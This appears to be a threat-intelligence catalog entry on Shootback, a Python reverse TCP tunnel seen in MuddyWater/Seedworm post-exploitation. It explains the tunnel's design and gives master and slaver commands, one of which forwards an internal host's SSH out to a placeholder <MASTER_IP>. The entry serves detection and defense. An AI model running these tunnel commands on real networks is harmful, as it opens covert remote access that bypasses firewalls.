Shootback is a self-hosted reverse TCP tunnel written in Python that lets an operator reach a service on a host behind NAT or a firewall. A slaver runs on the internal host and connects out to an operator-run master, which exposes the tunneled service. Because both ends are operator-run, there is no vendor domain to block. It has been observed in MuddyWater/Seedworm post-exploitation activity.
Runs the operator-controlled master, listening for slaver connections on one port and exposing the tunneled service to customers on another.
python master.py -m 0.0.0.0:10000 -c 0.0.0.0:10080
Runs on the host behind NAT, connecting out to the master and forwarding a local service such as SSH (22) so it becomes reachable through the master.
python slaver.py -m <MASTER_IP>:10000 -t 127.0.0.1:22